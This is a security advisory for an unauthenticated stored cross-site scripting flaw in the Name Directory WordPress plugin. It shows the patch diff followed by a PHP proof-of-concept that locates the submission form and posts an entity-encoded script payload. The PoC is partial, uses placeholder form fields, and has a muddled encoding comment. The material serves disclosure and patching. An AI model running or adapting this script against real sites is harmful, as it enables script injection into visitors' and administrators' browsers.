CVE-2026-1866: Name Directory <= 1.32.0 – Unauthenticated Stored Cross-Site Scripting via Double HTML-Entity Encoding in Submission Form (name-directory)

--- a/name-directory/helpers.php
+++ b/name-directory/helpers.php
@@ -601,11 +601,11 @@
  */
 function name_directory_deep_sanitize_public_user_input($input, $allowed_tags = null) {
     $raw = trim( wp_unslash( (string)$input ) );
-    $decoded = html_entity_decode( $raw, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+
     if( ! is_array( $allowed_tags ) ) {
         $allowed_tags = array('p' => array(), 'br' => array(), 'strong'=>array(), 'em'=>array());
     }
-    return wp_kses( $decoded, $allowed_tags );
+    return wp_kses( $raw, $allowed_tags );
 }

 function name_directory_get_html_tag_options() {
--- a/name-directory/index.php
+++ b/name-directory/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: Name Directory
  * Plugin URI: https://jeroenpeters.dev/wordpress-plugin-name-directory/
  * Description: A Name Directory, i.e. for animal names or to create a glossary. Visitors can add, search or just browse all names.
- * Version: 1.32.0
+ * Version: 1.32.1
  * Author: Jeroen Peters
  * Author URI: https://jeroenpeters.dev
  * Text Domain: name-directory
--- a/name-directory/shortcode.php
+++ b/name-directory/shortcode.php
@@ -39,10 +39,10 @@
 {
     echo '<div class="name_directory_name_box">';
     echo '<a name="namedirectory_' . sanitize_html_class($entry['name']) . '"></a>';
-    echo '<' . $tag . ' role="term">' . html_entity_decode(stripslashes($entry['name'])) . '</' . $tag . '><br>';
+    echo '<' . $tag . ' role="term">' . esc_html(stripslashes($entry['name'])) . '</' . $tag . '><br>';
     if(! empty($directory['show_description']) && ! empty($entry['description']))
     {
-        $print_description = html_entity_decode(stripslashes($entry['description']));
+        $print_description = wp_kses_post(stripslashes($entry['description']));

         /* This toggles the read more/less indicators, these need extra html */
         if(! empty($directory['nr_words_description']))

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1866 - Name Directory <= 1.32.0 - Unauthenticated Stored Cross-Site Scripting via Double HTML-Entity Encoding in Submission Form

<?php

$target_url = 'http://vulnerable-wordpress-site.com/';

// Payload using double HTML-entity encoding
// First layer: <script> becomes &lt;script&gt;
// Second layer: &lt; becomes < after first decode, then becomes < after second decode
$payload = '&lt;script&gt;alert(document.domain)&lt;/script&gt;';

// Find the submission endpoint - typically a page with the [name-directory-submit] shortcode
// We need to discover the form action URL and any required fields
$discovery_url = $target_url . '?s=name-directory-submit';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $discovery_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Extract form action and nonce from the response
// This is a simplified example - real implementation would parse HTML
preg_match('/<form[^>]*action="([^"]*)"[^>]*>/', $response, $form_action);

if (empty($form_action[1])) {
    echo "Could not find submission form. The site may not have the shortcode installed.n";
    exit;
}

$submit_url = $form_action[1];

// Prepare the malicious submission
$post_data = [
    'name_directory_name' => 'Malicious Entry',
    'name_directory_description' => $payload,
    'submit_name' => 'Submit',
    // Additional required fields would be extracted from the form
    'name_directory_id' => '1', // Directory ID - would need to be discovered
    'name_directory_nonce' => 'extracted_nonce' // Would need to be extracted from form
];

curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$submit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

if ($http_code == 200) {
    echo "Payload submitted successfully.n";
    echo "When an administrator approves this entry and views the directory, the JavaScript will execute.n";
    echo "Payload: " . htmlspecialchars($payload) . "n";
} else {
    echo "Submission failed with HTTP code: $http_coden";
}

?>